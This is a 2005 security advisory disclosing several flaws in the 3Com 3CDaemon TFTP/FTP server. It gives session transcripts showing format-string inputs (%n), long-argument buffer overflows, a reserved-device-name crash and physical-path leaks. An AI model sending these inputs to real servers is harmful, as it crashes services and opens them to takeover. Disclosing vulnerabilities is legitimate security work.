3Com 3CDaemon Multiple Vulnerabilities 

By Sowhat
04.JAN.2005

http://secway.org/advisory/ad20041011.txt
[I.T.S] Security Research Team


Product Affected:

3Com 3CDaemon 2.0 revision 10 

Vendor:

www.3Com.com


(1) BACKGROUD

3CDaemon is a free popular TFTP, FTP, and Syslog daemon for Microsoft Windows 

platforms, developed by dan_gill@3Com. 

For more information,
http://support.3com.com/software/utilities_for_windows_32_bit.htm
ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip

3CDaemon is full of holes,ISS and Wang Ning <nwang@scn.com.cn> has already 

reported some bugz about 3CDaemon
(see:  http://xforce.iss.net/xforce/xfdb/8970
  http://www.securityfocus.org/bid/11944
)

And I doucument some other well-known bugz here again :)


(2) Details

Remote exploitation of Multiple vulnerabilities in the 3CDaemon allows
attackers

to execute arbitrary command as the user running 3CDaemon (usually 

Administrator).Some of these Vulnerabilities didnt need a valid username and 

password to login.

There are several vulnerabilies

1.TFTP Reserved Device Name Denial of Service

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like  
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".   

2.FTP Username Format String vulnerability

H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.

OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>

And then the 3CDaemon is dead.

3.FTP long Username Buffer overflow

D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.

4.Multiple FTP command long parameter Buffer overflow
Including:cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD, and so on
(Maybe this is what ISS's Advisory talking about)

ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>

ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.

It seems that the length of the "A" is different from every command.

5.Multiple FTP command Format string
Including:cd,delete,rename,rmdir,literal,stat,CWD, and so on

230 User logged in
ftp> cd %n
Connection closed by remote host.
ftp> 


6.Multiple FTP command Reserved Device Name Information Leak
Including cd,and so on

The following command will disclosure the physical path of the 3cdaemon

ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!

and also ,CD an exsiting filename will disclosure physical path too.

ftp> cd toolz.rar
550 toolz.rar : C:/3cdaemon/toolz.rar is not a directory!

There are still some other boring bugz ,but it's enough : >

(3) WORKAROUND

Workaroud ? No......

(4) Vendor Response

Since it seems that 3com didnt maintained 3CDaemon for a long long time ,I dint 
contact them :)

http://secway.org
Thank to all the members of ITS Security Team